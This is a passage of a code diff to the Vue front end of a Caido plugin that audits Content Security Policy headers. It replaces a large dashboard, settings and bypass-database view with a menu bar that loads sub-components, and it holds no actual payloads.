backend state - Object.keys(cspCheckSettings.value).forEach((key) => { - if (backendSettings[key] !== undefined) { - cspCheckSettings.value[ - key as keyof typeof cspCheckSettings.value - ].enabled = backendSettings[key]; - } - }); - } catch (error) { - console.error("Failed to load CSP check settings:", error); - } -}; - -const saveCspCheckSettings = async () => { - try { - const settingsToSave: Record<string, boolean> = {}; - Object.entries(cspCheckSettings.value).forEach(([key, check]) => { - settingsToSave[key] = check.enabled; - }); - - await sdk.backend.setCspCheckSettings(settingsToSave); - } catch (error) { - console.error("Failed to save CSP check settings:", error); - } -}; - -// Modal functions -const showVulnerabilityDetails = ( - vulnerability: CspVulnerability, - analysis: CspAnalysisResult, -) => { - selectedVulnerability.value = vulnerability; - selectedAnalysisForModal.value = analysis; - showVulnerabilityModal.value = true; -}; - -const closeVulnerabilityModal = () => { - showVulnerabilityModal.value = false; - selectedVulnerability.value = undefined; - selectedAnalysisForModal.value = undefined; -}; - -const getSeverityColor = (severity: string) => { - switch (severity) { - case "high": - return "danger"; - case "medium": - return "warning"; - case "low": - return "info"; - case "info": - return "secondary"; - default: - return "secondary"; - } -}; - -const totalPages = computed(() => - Math.ceil(allAnalyses.value.length / itemsPerPage.value), -); - -const paginatedAnalyses = computed(() => { - const start = (currentPage.value - 1) * itemsPerPage.value; - const end = start + itemsPerPage.value; - return allAnalyses.value.slice(start, end); -}); - -const viewAnalysisDetails = (analysisData: CspAnalysisResult) => { - if (selectedAnalysis.value?.requestId === analysisData.requestId) { - selectedAnalysis.value = undefined; - } else { - selectedAnalysis.value = analysisData; - } -}; - -const copyToClipboard = async (text: string, type: string) => { - try { - await navigator.clipboard.writeText(text); - console.log(`${type} copied to clipboard`); - } catch (error) { - console.error("Failed to copy to clipboard:", error); - } -}; - -const copyVulnerabilities = async (vulnerabilities: unknown[]) => { - const vulnText = vulnerabilities - .map((v) => { - if ( - typeof v === "object" && - v !== null && - "type" in v && - "severity" in v && - "description" in v - ) { - return `${v.type} (${String(v.severity).toUpperCase()}): ${v.description}`; - } - return String(v); - }) - .join("\n\n"); - await copyToClipboard(vulnText, "Vulnerabilities"); -}; - -const copyBypassPayload = async (payload: string, name: string) => { - await copyToClipboard(payload, `${name} Payload`); -}; - -const getVulnerabilityBypasses = ( - vulnerabilityType: string, -): BypassPayload[] => { - return getBypassesForVulnerability(vulnerabilityType, bypassEntries.value); -}; - -const loadBypassData = async () => { - loadingBypasses.value = true; - try { - // Load the full bypass database from backend - const bypasses = await sdk.backend.getBypassDatabase(); - bypassEntries.value = bypasses; - console.log(`Loaded ${bypasses.length} bypass payloads from database`); - } catch (error) { - console.error("Failed to load bypass data:", error); - // Fallback to empty array - bypassEntries.value = []; - } finally { - loadingBypasses.value = false; - } -}; - -const copyBypassCode = async (code: string, domain: string) => { - await copyToClipboard(code, `${domain} Bypass`); -}; - -// Filtered bypass entries based on search query -const filteredBypassEntries = computed(() => { - if (!bypassSearchQuery.value.trim()) { - return bypassEntries.value; - } - - const query = bypassSearchQuery.value.toLowerCase(); - return bypassEntries.value.filter( - (entry) => - entry.domain.toLowerCase().includes(query) || - entry.technique.toLowerCase().includes(query) || - entry.code.toLowerCase().includes(query), - ); -}); - -const getTechniqueColor = (technique: string): string => { - switch (technique) { - case "JSONP": - return "success"; - case "AngularJS": - return "danger"; - case "Alpine.js": - return "info"; - case "HTMX": - return "warning"; - case "Hyperscript": - return "secondary"; - case "Script Injection": - return "danger"; - case "Event Handler": - return "warning"; - case "Link Preload": - return "info"; - case "Iframe Injection": - return "danger"; - default: - return "secondary"; - } -}; - -const goToPage = (page: number) => { - if (page >= 1 && page <= totalPages.value) { - currentPage.value = page; - } -}; - -const previousPage = () => { - if (currentPage.value > 1) { - currentPage.value--; - } -}; - -const nextPage = () => { - if (currentPage.value < totalPages.value) { - currentPage.value++; - } -}; - -// Helper function to safely update check settings -const updateCheckSetting = (checkId: string, enabled: boolean) => { - const settings = cspCheckSettings.value as Record< - string, - { - enabled: boolean; - name: string; - category: string; - severity: string; - description: string; - } - >; - if (settings[checkId]) { - settings[checkId].enabled = enabled; - } -}; - -const getCheckEnabled = (checkId: string): boolean => { - return ( - ( - cspCheckSettings.value as Record< - string, - { - enabled: boolean; - name: string; - category: string; - severity: string; - description: string; - } - > - )[checkId]?.enabled ?? false - ); -}; </script> <template> - <div class="h-full p-4 overflow-y-auto"> - <!-- Header --> - <div class="flex justify-between items-center mb-6"> - <div> - <h1 class="text-3xl font-bold text-gray-900 dark:text-white"> - CSP Auditor - </h1> - <p class="text-gray-600 dark:text-gray-300"> - Content Security Policy vulnerability scanner - </p> - <div class="flex items-center gap-3 mt-1"> - <p class="text-xs text-gray-500 dark:text-gray-400"> - Made with ❤️ for the awesome Caido community by - @GangGreenTemperTatum - </p> - <div v-if="autoRefreshEnabled" class="flex items-center gap-1"> - <div class="w-2 h-2 bg-green-500 rounded-full animate-pulse"></div> - <span class="text-xs text-green-600 dark:text-green-400" - >Auto-updating</span - > - </div> - </div> - </div> - - <div class="flex gap-4 items-center"> - <div class="flex items-center gap-2"> - <InputSwitch - v-model="respectScope" - @update:model-value="updateScopeRespecting" - /> - <span class="text-xs text-gray-600 dark:text-gray-400">Scope</span> - </div> - <div class="flex items-center gap-2"> - <InputSwitch - v-model="createFindings" - @update:model-value="updateCreateFindings" - /> - <span class="text-xs text-gray-600 dark:text-gray-400" - >Create Findings</span - > - </div> + <div class="h-full flex flex-col gap-1"> + <MenuBar :model="navItems" class="h-12"> + <template #item="{ item }"> <Button - label="Refresh" - icon="pi pi-refresh" - :loading="loading" + :label="item.label" + :severity="item.isActive?.() ? 'secondary' : 'contrast'" + :outlined="item.isActive?.()" + :text="!item.isActive?.()" size="small" - @click="refreshData" + @mousedown="item.command" /> - <Button - :label="autoRefreshEnabled ? 'Auto-Refresh: ON' : 'Auto-Refresh: OFF'" - :icon="autoRefreshEnabled ? 'pi pi-pause' : 'pi pi-play'" - :severity="autoRefreshEnabled ? 'success' : 'secondary'" - size="small" - :title=" - autoRefreshEnabled - ? 'Auto-refresh on analysis updates - Click to disable' - : 'Auto-refresh disabled - Click to enable' - " - @click="toggleAutoRefresh" - /> - <Button - label="Export JSON" - icon="pi pi-download" - severity="secondary" - size="small" - @click="() => exportFindings('json')" - /> - <Button - label="Export CSV" - icon="pi pi-download" - severity="secondary" - size="small" - @click="() => exportFindings('csv')" - /> - <Button - label="Clear Cache" - icon="pi pi-trash" - severity="danger" - size="small" - @click="clearCache" - /> - </div> - </div> - - <!-- Loading State --> - <div v-if="loading" class="flex justify-center items-center h-64"> - <ProgressBar mode="indeterminate" class="w-64" /> - </div> - - <!-- Main Content --> - <div v-else class="space-y-6"> - <TabView v-model:active-index="activeTab" class="w-full"> - <!-- Dashboard Tab --> - <TabPanel header="Dashboard"> - <div class="space-y-6"> - <!-- Stats Cards --> - <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4"> - <Card> - <template #content> - <div class="text-center"> - <div class="text-2xl font-bold text-blue-600"> - {{ stats.totalAnalyses }} - </div> - <div class="text-sm text-gray-600 dark:text-gray-300"> - Total Analyses - </div> - </div> - </template> - </Card> - - <Card> - <template #content> - <div class="text-center"> - <div class="text-2xl font-bold text-red-600"> - {{ stats.totalVulnerabilities }} - </div> - <div class="text-sm text-gray-600 dark:text-gray-300"> - Total Vulnerabilities - </div> - </div> - </template> - </Card> - - <Card> - <template #content> - <div class="text-center"> - <div class="text-2xl font-bold text-red-500"> - {{ stats.severityStats.high }} - </div> - <div class="text-sm text-gray-600 dark:text-gray-300"> - High Severity - </div> - </div> - </template> - </Card> - - <Card> - <template #content> - <div class="text-center"> - <div class="text-2xl font-bold text-orange-500"> - {{ stats.severityStats.medium }} - </div> - <div class="text-sm text-gray-600 dark:text-gray-300"> - Medium Severity - </div> - </div> - </template> - </Card> - </div> + </template> + </MenuBar> - <!-- Severity Breakdown and Future Feature Panel --> - <div class="grid grid-cols-2 gap-6"> - <!-- Left: Severity Breakdown --> - <Card> - <template #title>Vulnerability Severity Breakdown</template> - <template #content> - <div v-if="stats.totalVulnerabilities > 0" class="space-y-4"> - <div class="flex justify-between items-center"> - <span class="font-medium" - >High ({{ - getSeverityPercentage.high.toFixed(1) - }}%)</span - > - <Badge - :value="stats.severityStats.high" - :class="getSeverityBadgeClass('high')" - /> - </div> - <ProgressBar - :value="getSeverityPercentage.high" - class="h-2" - :style="{ backgroundColor: '#ef4444' }" - :show-value="false" - /> - - <div class="flex justify-between items-center"> - <span class="font-medium" - >Medium ({{ - getSeverityPercentage.medium.toFixed(1) - }}%)</span - > - <Badge - :value="stats.severityStats.medium" - :class="getSeverityBadgeClass('medium')" - /> - </div> - <ProgressBar - :value="getSeverityPercentage.medium" - class="h-2" - :style="{ backgroundColor: '#f97316' }" - :show-value="false" - /> - - <div class="flex justify-between items-center"> - <span class="font-medium" - >Low ({{ getSeverityPercentage.low.toFixed(1) }}%)</span - > - <Badge - :value="stats.severityStats.low" - :class="getSeverityBadgeClass('low')" - /> - </div> - <ProgressBar - :value="getSeverityPercentage.low" - class="h-2" - :style="{ backgroundColor: '#eab308' }" - :show-value="false" - /> - - <div class="flex justify-between items-center"> - <span class="font-medium" - >Info ({{ - getSeverityPercentage.info.toFixed(1) - }}%)</span - > - <Badge - :value="stats.severityStats.info" - :class="getSeverityBadgeClass('info')" - /> - </div> - <ProgressBar - :value="getSeverityPercentage.info" - class="h-2" - :style="{ backgroundColor: '#3b82f6' }" - :show-value="false" - /> - </div> - <div v-else class="text-center text-gray-500 py-8"> - No vulnerabilities found yet. Start analyzing requests with - CSP headers. - </div> - </template> - </Card> - - <!-- Right: CSP Bypass Database --> - <Card> - <template #title> - <div class="flex items-center justify-between"> - <span>🎯 CSP Bypass Database</span> - <div class="flex items-center gap-2"> - <Badge - :value="bypassEntries.length" - severity="info" - class="text-xs" - /> - <a - href="https://github.com/GangGreenTemperTatum/csp-auditor" - target="_blank" - class="text-xs text-blue-500 hover:text-blue-700 dark:text-blue-400" - title="View CSP Auditor project" - > - GitHub - </a> - </div> - </div> - </template> - <template #content> - <div v-if="loadingBypasses" class="text-center py-8"> - <ProgressBar mode="indeterminate" class="w-full" /> - <p class="text-sm text-gray-500 mt-2"> - Loading bypass payloads... - </p> - </div> - - <div v-else-if="bypassEntries.length > 0" class="space-y-3"> - <div class="text-xs text-gray-600 dark:text-gray-400 mb-3"> - Real-world CSP bypass techniques from security research - ({{ bypassEntries.length }} bypasses). Click to copy - payloads. - </div> - - <!-- Search Box --> - <div class="relative mb-4"> - <InputText - v-model="bypassSearchQuery" - placeholder="Search by domain, technique, or code..." - class="w-full pl-10" - size="small" - /> - <i - class="pi pi-search absolute left-3 top-1/2 transform -translate-y-1/2 text-gray-400" - ></i> - <div - v-if="bypassSearchQuery" - class="text-xs text-gray-500 dark:text-gray-400 mt-1" - > - Showing {{ filteredBypassEntries.length }} of - {{ bypassEntries.length }} bypasses - </div> - </div> - - <div class="max-h-80 overflow-y-auto space-y-2"> - <div - v-for="entry in filteredBypassEntries" - :key="entry.id" - class="border border-gray-200 dark:border-gray-700 rounded-lg p-3 hover:bg-gray-50 dark:hover:bg-gray-900 cursor-pointer transition-colors" - :title="`Click to copy ${entry.domain} bypass payload`" - @click="copyBypassCode(entry.code, entry.domain)" - > - <div class="flex items-center justify-between mb-2"> - <div class="flex items-center gap-2"> - <span - class="text-sm font-mono text-blue-600 dark:text-blue-400" - > - {{ entry.domain }} - </span> - <Tag - :value="entry.technique" - :severity="getTechniqueColor(entry.technique)" - class="text-xs" - /> - </div> - <Button - icon="pi pi-copy" - size="small" - severity="secondary" - text - title="Copy payload" - @click.stop=" - copyBypassCode(entry.code, entry.domain) - " - /> - </div> - - <div - class="bg-gray-900 text-green-400 p-2 rounded text-xs font-mono overflow-x-auto" - > - <code>{{ entry.code }}</code> - </div> - </div> - </div> - - <div - v-if="filteredBypassEntries.length === 0" - class="text-center text-gray-500 py-8" - > - <i class="pi pi-search text-2xl mb-2 block"></i> - <div class="text-sm"> - No bypasses found matching "{{ bypassSearchQuery }}" - </div> - <div class="text-xs mt-1"> - Try searching by domain, technique, or payload content - </div> - </div> - - <div - v-if="filteredBypassEntries.length > 0" - class="text-xs text-gray-500 dark:text-gray-400 text-center mt-4 pt-3 border-t border-gray-200 dark:border-gray-700" - > - Want to contribute? Add bypasses to - <code>data/csp-bypass-data.tsv</code> - </div> - </div> - - <div v-else class="text-center text-gray-500 py-8"> - <i - class="pi pi-exclamation-triangle text-4xl mb-4 block" - ></i> - <div class="text-sm"> - No bypass payloads loaded. Check data/csp-bypass-data.tsv - </div> - </div> - </template> - </Card> - </div> - - <!-- Recent Analyses --> - <Card> - <template #title> - <span>CSP Analyses ({{ allAnalyses.length }} total)</span> - </template> - <template #content> - <!-- Table List View --> - <div v-if="allAnalyses.length > 0"> - <!-- Pagination Controls --> - <div class="flex justify-between items-center mb-4"> - <div class="text-sm text-gray-600 dark:text-gray-400"> - Page {{ currentPage }} of {{ totalPages }} (showing - {{ paginatedAnalyses.length }} of - {{ allAnalyses.length }} analyses) - </div> - <div class="flex items-center gap-2"> - <Button - icon="pi pi-angle-left" - size="small" - severity="secondary" - outlined - :disabled="currentPage === 1" - title="Previous page" - @click="previousPage" - /> - <template - v-for="page in Math.min(totalPages, 5)" - :key="page" - > - <Button - :label="String(page)" - size="small" - :severity=" - currentPage === page ? 'primary' : 'secondary' - " - :outlined="currentPage !== page" - class="min-w-8" - @click="goToPage(page)" - /> - </template> - <span v-if="totalPages > 5" class="text-gray-400" - >...</span - > - <Button - icon="pi pi-angle-right" - size="small" - severity="secondary" - outlined - :disabled="currentPage === totalPages" - title="Next page" - @click="nextPage" - /> - </div> - </div> - - <div class="overflow-x-auto"> - <table class="w-full border-collapse table-fixed"> - <thead> - <tr - class="border-b border-gray-200 dark:border-gray-700" - > - <th - class="text-left p-2 font-medium text-gray-700 dark:text-gray-300" - style="width: 100px" - > - Request ID - </th> - <th - class="text-left p-2 font-medium text-gray-700 dark:text-gray-300" - style="width: 130px" - > - Timestamp - </th> - <th - class="text-left p-2 font-medium text-gray-700 dark:text-gray-300" - style="max-width: 300px; min-width: 200px" - > - Host / Path - </th> - <th - class="text-left p-2 font-medium text-gray-700 dark:text-gray-300" - style="width: 120px" - > - Vulnerabilities - </th> - <th - class="text-left p-2 font-medium text-gray-700 dark:text-gray-300" - style="width: 70px" - > - Policies - </th> - </tr> - </thead> - <tbody> - <template - v-for="analysis in paginatedAnalyses" - :key="analysis.requestId" - > - <!-- Regular Table Row --> - <tr - class="border-b border-gray-100 dark:border-gray-800 hover:bg-gray-50 dark:hover:bg-gray-900 cursor-pointer" - :class="{ - 'bg-blue-50 dark:bg-blue-950': - selectedAnalysis?.requestId === - analysis.requestId, - }" - @click="viewAnalysisDetails(analysis)" - > - <td class="p-2" style="width: 100px"> - <code - class="text-xs font-mono bg-gray-100 dark:bg-gray-700 px-1 py-0.5 rounded" - > - {{ analysis.requestId.slice(0, 6) }} - </code> - </td> - <td class="p-2" style="width: 130px"> - <span class="text-xs">{{ - formatDate(analysis.analyzedAt) - }}</span> - </td> - <td - class="p-2" - style="max-width: 300px; min-width: 200px" - > - <div class="flex flex-col gap-0.5"> - <span - class="text-sm font-medium text-gray-900 dark:text-white truncate" - :title="extractHostAndPath(analysis).host" - > - {{ extractHostAndPath(analysis).host }} - </span> - <span - class="text-xs text-gray-600 dark:text-gray-400 truncate" - :title="extractHostAndPath(analysis).path" - > - {{ extractHostAndPath(analysis).path }} - </span> - </div> - </td> - <td class="p-2" style="width: 120px"> - <div class="flex gap-1 flex-wrap"> - <template - v-for="vulnerability in analysis.vulnerabilities.slice( - 0, - 3, - )" - :key="vulnerability.id" - > - <Badge - :value=" - vulnerability.type.split('-')[1] || - vulnerability.type - " - :severity=" - getSeverityColor(vulnerability.severity) - " - class="text-xs cursor-pointer hover:bg-opacity-80 hover:scale-105 transition-all duration-200 border-2 border-transparent hover:border-current" - :title="`Click to see details: ${vulnerability.type}\n${vulnerability.description}`" - @click.stop=" - showVulnerabilityDetails( - vulnerability, - analysis, - ) - " - /> - </template> - <Badge - v-if="analysis.vulnerabilities.length > 3" - :value="`+${analysis.vulnerabilities.length - 3}`" - severity="secondary" - class="text-xs cursor-pointer hover:bg-opacity-80 transition-colors" - title="Click to see all vulnerabilities" - @click.stop="viewAnalysisDetails(analysis)" - /> - </div> - </td> - <td class="p-2" style="width: 70px"> - <span class="text-sm font-medium">{{ - analysis.policies.length - }}</span> - </td> - </tr> - - <!-- Expanded Details Row --> - <tr - v-if=" - selectedAnalysis?.requestId === analysis.requestId - " - class="bg-gray-50 dark:bg-gray-900" - > - <td colspan="5" class="p-0"> - <div class="p-6 space-y-6"> - <!-- Header Info --> - <div - class="grid grid-cols-1 md:grid-cols-3 gap-4 p-4 bg-white dark:bg-gray-800 rounded-lg border" - > - <div> - <label - class="text-sm font-medium text-gray-500 dark:text-gray-400" - >Request ID</label - > - <div class="mt-1"> - <code - class="text-sm font-mono bg-gray-100 dark:bg-gray-700 px-2 py-1 rounded border" - > - {{ selectedAnalysis.requestId }} - </code> - </div> - </div> - <div> - <label - class="text-sm font-medium text-gray-500 dark:text-gray-400" - >Analyzed At</label - > - <div class="mt-1 text-sm"> - {{ - formatDate(selectedAnalysis.analyzedAt) - }} - </div> - </div> - <div> - <label - class="text-sm font-medium text-gray-500 dark:text-gray-400" - >Total Issues</label - > - <div - class="mt-1 text-lg font-bold text-red-600" - > - {{ - selectedAnalysis.vulnerabilities.length - }} - </div> - </div> - </div> - - <!-- Vulnerabilities Details --> - <div - v-if=" - selectedAnalysis.vulnerabilities.length > 0 - " - > - <div - class="flex items-center justify-between mb-3" - > - <h3 class="text-lg font-semibold"> - Vulnerabilities Found - </h3> - <button - class="text-sm text-blue-500 hover:text-blue-700 dark:text-blue-400 dark:hover:text-blue-300" - title="Copy all vulnerabilities to clipboard" - @click=" - copyVulnerabilities( - selectedAnalysis.vulnerabilities, - ) - " - > - 📋 Copy All - </button> - </div> - <div - class="grid grid-cols-1 lg:grid-cols-2 gap-4" - > - <div - v-for="( - vuln, index - ) in selectedAnalysis.vulnerabilities" - :key="index" - class="border border-gray-200 dark:border-gray-700 rounded-lg p-4" - :class="{ - 'border-red-300 bg-red-50 dark:bg-red-950': - vuln.severity === 'high', - 'border-orange-300 bg-orange-50 dark:bg-orange-950': - vuln.severity === 'medium', - 'border-yellow-300 bg-yellow-50 dark:bg-yellow-950': - vuln.severity === 'low', - 'border-blue-300 bg-blue-50 dark:bg-blue-950': - vuln.severity === 'info', - }" - > - <div - class="flex items-start justify-between mb-2" - > - <h4 - class="font-medium text-gray-900 dark:text-white text-sm" - > - {{ vuln.type }} - </h4> - <Badge - :value="vuln.severity.toUpperCase()" - :severity=" - vuln.severity === 'high' - ? 'danger' - : vuln.severity === 'medium' - ? 'warning' - : vuln.severity === 'low' - ? 'info' - : 'secondary' - " - class="text-xs flex-shrink-0" - /> - </div> - <p - class="text-xs text-gray-700 dark:text-gray-300 mb-2 leading-relaxed" - > - {{ vuln.description }} - </p> - <div - v-if="vuln.remediation" - class="text-xs text-gray-600 dark:text-gray-400 bg-white dark:bg-gray-800 p-2 rounded border-l-2 border-blue-500" - > - <strong>Remediation:</strong> - {{ vuln.remediation }} - </div> - </div> - </div> - </div> - - <!-- CSP Policies Details --> - <div - v-if="selectedAnalysis.policies.length > 0" - > - <h3 class="text-lg font-semibold mb-3"> - CSP Policies - </h3> - <div class="space-y-3"> - <div - v-for="( - policy, index - ) in selectedAnalysis.policies" - :key="index" - class="border border-gray-200 dark:border-gray-700 rounded-lg p-4 bg-white dark:bg-gray-800" - > - <div - class="flex items-center justify-between mb-2" - > - <h4 - class="font-medium text-gray-900 dark:text-white" - > - {{ policy.headerName }} - </h4> - <div class="flex gap-2 items-center"> - <button - class="text-xs text-blue-500 hover:text-blue-700 dark:text-blue-400 dark:hover:text-blue-300" - title="Copy CSP policy to clipboard" - @click=" - copyToClipboard( - policy.headerValue, - 'CSP Policy', - ) - " - > - 📋 Copy - </button> - <Badge - v-if="policy.isReportOnly" - value="Report Only" - severity="info" - class="text-xs" - /> - <Badge - v-if="policy.isDeprecated" - value="Deprecated" - severity="warning" - class="text-xs" - /> - </div> - </div> - <div - class="bg-gray-50 dark:bg-gray-900 p-3 rounded border" - > - <code - class="text-sm font-mono break-all whitespace-pre-wrap" - >{{ policy.headerValue }}</code - > - </div> - </div> - </div> - </div> - </div> - </td> - </tr> - </template> - </tbody> - </table> - </div> - </div> - <div v-else class="text-center text-gray-500 py-8"> - No analyses performed yet. CSP headers will be automatically - analyzed when detected in HTTP responses. - </div> - </template> - </Card> - - <!-- Instructions --> - <Card v-if="stats.totalAnalyses === 0"> - <template #title>Getting Started</template> - <template #content> - <div class="space-y-4"> - <p class="text-gray-700 dark:text-gray-300"> - The CSP Auditor automatically analyzes Content Security - Policy headers in HTTP responses. To start finding - vulnerabilities: - </p> - <ol - class="list-decimal list-inside space-y-2 text-gray-700 dark:text-gray-300" - > - <li>Browse to web applications that use CSP headers</li> - <li> - The plugin will automatically detect and analyze CSP - policies - </li> - <li>View findings in the Caido Findings tab</li> - <li> - Return here to see analysis statistics and export results - </li> - </ol> - <Divider /> - <p class="text-sm text-gray-600 dark:text-gray-400"> - The plugin detects various CSP vulnerabilities including - unsafe-inline, wildcards, user content hosts, and deprecated - headers. - </p> - </div> - </template> - </Card> - </div> - </TabPanel> - - <!-- Settings Tab --> - <TabPanel header="Settings"> - <div class="space-y-6"> - <!-- Settings Summary --> - <Card> - <template #title>Scan Configuration</template> - <template #content> - <div class="flex flex-col lg:flex-row gap-6 items-start"> - <div class="flex-1"> - <p class="text-gray-700 dark:text-gray-300 mb-4"> - Configure which CSP vulnerabilities to scan for. You can - enable/disable individual checks or use preset scanning - modes. - </p> - <div class="text-sm text-gray-600 dark:text-gray-400"> - <strong - >{{ enabledChecksCount }}/{{ totalChecksCount }}</strong - > - checks enabled - </div> - </div> - - <!-- Preset Buttons --> - <div class="flex flex-col sm:flex-row gap-3"> - <Button - label="Aggressive" - severity="danger" - size="small" - title="Enable all vulnerability checks for maximum security coverage" - @click="setAggressiveMode" - /> - <Button - label="Recommended" - severity="success" - size="small" - title="Enable high and medium severity checks (recommended for most users)" - @click="setRecommendedMode" - /> - <Button - label="Light" - severity="secondary" - size="small" - title="Enable only critical/high severity checks for faster scanning" - @click="setLightMode" - /> - <Button - label="Disable All" - severity="secondary" - outlined - size="small" - @click="disableAllChecks" - /> - </div> - </div> - </template> - </Card> - - <!-- CSP Checks Configuration --> - <Card> - <template #title>CSP Vulnerability Checks</template> - <template #content> - <div class="space-y-8"> - <div - v-for="(checks, category) in checksByCategory" - :key="category" - > - <h3 - class="text-lg font-semibold mb-4 text-gray-900 dark:text-white border-b border-gray-200 dark:border-gray-700 pb-2" - > - {{ category }} - </h3> - - <div class="grid grid-cols-1 gap-4"> - <div - v-for="check in checks" - :key="check.id" - class="flex items-start gap-4 p-4 border border-gray-200 dark:border-gray-700 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-900 transition-colors" - > - <InputSwitch - :model-value="getCheckEnabled(check.id)" - class="mt-1" - @update:model-value=" - (value) => updateCheckSetting(check.id, value) - " - /> - - <div class="flex-1 min-w-0"> - <div class="flex items-center gap-3 mb-2"> - <h4 - class="font-medium text-gray-900 dark:text-white" - > - {{ check.name }} - </h4> - <Badge - :value="check.severity.toUpperCase()" - :severity=" - check.severity === 'high' - ? 'danger' - : check.severity === 'medium' - ? 'warning' - : check.severity === 'low' - ? 'info' - : 'secondary' - " - class="text-xs" - /> - </div> - <p class="text-sm text-gray-600 dark:text-gray-400"> - {{ check.description }} - </p> - </div> - </div> - </div> - </div> - </div> - </template> - </Card> - </div> - </TabPanel> - </TabView> + <div class="flex-1 min-h-0"> + <component :is="component" /> </div> - <!-- Vulnerability Details Modal Overlay --> - <div - v-if="showVulnerabilityModal" - class="fixed inset-0 flex items-center justify-center bg-black bg-opacity-50" - style="z-index: 9999" - @click="closeVulnerabilityModal" - > - <div - class="bg-white dark:bg-gray-900 rounded-lg shadow-xl max-w-4xl w-full mx-4 max-h-[90vh] overflow-y-auto" - @click.stop - > - <!-- Modal Header --> - <div - class="flex items-center justify-between p-6 border-b border-gray-200 dark:border-gray-700" - > - <h2 class="text-xl font-semibold text-gray-900 dark:text-white"> - 🔍 - {{ - selectedVulnerability?.type - .replace(/-/g, " ") - .replace(/\b\w/g, (l) => l.toUpperCase()) || - "Vulnerability Details" - }} - </h2> - <Button - icon="pi pi-times" - severity="secondary" - text - rounded - @click="closeVulnerabilityModal" - /> - </div> - - <!-- Modal Content --> - <div - v-if="selectedVulnerability && selectedAnalysisForModal" - class="p-6 space-y-6" - > - <!-- Vulnerability Overview --> - <div - class="border border-gray-200 dark:border-gray-700 rounded-lg p-4" - > - <div class="flex items-start justify-between mb-4"> - <div class="flex-1"> - <h3 - class="text-lg font-semibold text-gray-900 dark:text-white mb-2" - > - {{ - selectedVulnerability.type - .replace(/-/g, " ") - .replace(/\b\w/g, (l) => l.toUpperCase()) - }} - </h3> - <div class="flex items-center gap-3 mb-3"> - <Tag - :value="selectedVulnerability.severity.toUpperCase()" - :severity="getSeverityColor(selectedVulnerability.severity)" - /> - <span class="text-sm text-gray-600 dark:text-gray-400"> - Directive: - <code - class="bg-gray-100 dark:bg-gray-800 px-2 py-1 rounded text-xs" - >{{ selectedVulnerability.directive }}</code - > - </span> - <span - v-if="selectedVulnerability.cweId" - class="text-sm text-gray-600 dark:text-gray-400" - > - CWE-{{ selectedVulnerability.cweId }} - </span> - </div> - </div> - </div> - - <div class="space-y-4"> - <div> - <h4 class="font-medium text-gray-900 dark:text-white mb-2"> - Description - </h4> - <p - class="text-gray-700 dark:text-gray-300 text-sm leading-relaxed" - > - {{ selectedVulnerability.description }} - </p> - </div> - - <div> - <h4 class="font-medium text-gray-900 dark:text-white mb-2"> - Problematic Value - </h4> - <code - class="block bg-red-50 dark:bg-red-900/20 text-red-800 dark:text-red-200 p-3 rounded-md text-sm font-mono border border-red-200 dark:border-red-800" - > - {{ selectedVulnerability.value }} - </code> - </div> - - <div> - <h4 class="font-medium text-gray-900 dark:text-white mb-2"> - Remediation - </h4> - <p - class="text-gray-700 dark:text-gray-300 text-sm leading-relaxed" - > - {{ selectedVulnerability.remediation }} - </p> - </div> - </div> - </div> - - <!-- Bypass Examples Section --> - <div - v-if=" - getVulnerabilityBypasses(selectedVulnerability.type).length > 0 - " - class="border border-gray-200 dark:border-gray-700 rounded-lg p-4" - > - <h4 class="font-medium text-gray-900 dark:text-white mb-3"> - 🎯 Bypass Examples ({{ - getVulnerabilityBypasses(selectedVulnerability.type).length - }}) - <span - class="text-xs text-gray-500 dark:text-gray-400 font-normal ml-2" - > - from CSPBypass database - </span> - </h4> - <div class="space-y-3"> - <div - v-for="bypass in getVulnerabilityBypasses( - selectedVulnerability.type, - )" - :key="bypass.id" - class="bg-gray-50 dark:bg-gray-800 rounded-lg p-4 border-l-4" - :class="{ - 'border-green-500': bypass.difficulty === 'easy', - 'border-yellow-500': bypass.difficulty === 'medium', - 'border-red-500': bypass.difficulty === 'hard', - }" - > - <div class="flex items-start justify-between mb-2"> - <div class="flex items-center gap-2 flex-wrap"> - <h5 - class="font-medium text-gray-900 dark:text-white text-sm" - > - {{ bypass.name }} - </h5> - <Tag - :value="bypass.difficulty" - :severity="getDifficultyColor(bypass.difficulty)" - class="text-xs" - /> - <span - class="text-xs text-gray-500 dark:text-gray-400 bg-gray-200 dark:bg-gray-700 px-2 py-1 rounded" - > - {{ bypass.technique }} - </span> - <span - v-if="bypass.domain" - class="text-xs text-blue-600 dark:text-blue-400 bg-blue-100 dark:bg-blue-900 px-2 py-1 rounded font-mono" - > - {{ bypass.domain }} - </span> - <span - v-if="bypass.source === 'cspbypass'" - class="text-xs text-green-600 dark:text-green-400 bg-green-100 dark:bg-green-900 px-2 py-1 rounded" - > - CSPBypass - </span> - </div> - <Button - icon="pi pi-copy" - size="small" - severity="secondary" - text - :title="`Copy ${bypass.name} payload`" - @click="copyBypassPayload(bypass.payload, bypass.name)" - /> - </div> - - <p class="text-xs text-gray-600 dark:text-gray-400 mb-3"> - {{ bypass.description }} - </p> - - <div - class="bg-gray-900 text-green-400 p-3 rounded-md font-mono text-xs overflow-x-auto" - > - <code>{{ bypass.payload }}</code> - </div> - - <div v-if="bypass.requirements" class="mt-2"> - <span - class="text-xs font-medium text-gray-600 dark:text-gray-400" - >Requirements:</span - > - <div class="flex flex-wrap gap-1 mt-1"> - <span - v-for="req in bypass.requirements" - :key="req" - class="text-xs bg-blue-100 dark:bg-blue-900 text-blue-800 dark:text-blue-200 px-2 py-1 rounded" - > - {{ req }} - </span> - </div> - </div> - </div> - </div> - </div> - - <!-- CSP Policy Context --> - <div - class="border border-gray-200 dark:border-gray-700 rounded-lg p-4" - > - <h4 class="font-medium text-gray-900 dark:text-white mb-3"> - CSP Policy Context - </h4> - <div class="space-y-3"> - <div> - <span - class="text-sm font-medium text-gray-600 dark:text-gray-400" - >Request ID:</span - > - <code - class="ml-2 text-sm font-mono bg-gray-100 dark:bg-gray-800 px-2 py-1 rounded" - > - {{ selectedAnalysisForModal.requestId }} - </code> - </div> - - <div> - <span - class="text-sm font-medium text-gray-600 dark:text-gray-400" - >Analysis Date:</span - > - <span class="ml-2 text-sm text-gray-700 dark:text-gray-300"> - {{ formatDate(selectedAnalysisForModal.analyzedAt) }} - </span> - </div> - - <div v-if="selectedAnalysisForModal.policies.length > 0"> - <span - class="text-sm font-medium text-gray-600 dark:text-gray-400 block mb-2" - >Complete CSP Policy:</span - > - <div - class="bg-gray-50 dark:bg-gray-800 rounded-md p-3 